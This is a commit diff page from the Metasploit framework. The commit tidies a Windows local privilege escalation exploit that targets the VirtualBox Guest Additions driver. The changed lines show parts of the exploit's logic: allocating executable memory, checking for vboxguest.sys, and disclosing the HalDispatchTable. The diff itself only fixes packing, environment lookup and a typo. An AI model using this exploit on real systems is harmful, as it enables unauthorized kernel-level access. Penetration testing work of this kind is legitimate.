Skip to content

Commit e0ed777

Browse files
committed
Land rapid7#3646, @Meatballs1 tidy of virtual_box_guest_additions
2 parents 56c96f3 + 05a198b commit e0ed777

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/exploits/windows/local/virtual_box_guest_additions.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,7 @@ def initialize(info={})
6464

6565
def fill_memory(proc, address, length, content)
6666

67-
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
67+
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
6868

6969
if not proc.memory.writable?(address)
7070
vprint_error("Failed to allocate memory")
@@ -101,7 +101,7 @@ def check
101101
return Exploit::CheckCode::Safe
102102
end
103103

104-
file_path = expand_path("%windir%") << "\\system32\\drivers\\vboxguest.sys"
104+
file_path = get_env('WINDIR') << "\\system32\\drivers\\vboxguest.sys"
105105
unless file?(file_path)
106106
return Exploit::CheckCode::Unknown
107107
end
@@ -151,7 +151,7 @@ def exploit
151151
hal_dispatch_table = find_haldispatchtable
152152
if hal_dispatch_table.nil?
153153
session.railgun.kernel32.CloseHandle(handle)
154-
fail_with(Failure::Unknown, "Filed to disclose HalDispatchTable")
154+
fail_with(Failure::Unknown, "Failed to disclose HalDispatchTable")
155155
else
156156
print_good("Address successfully disclosed.")
157157
end

0 commit comments

Comments
 (0)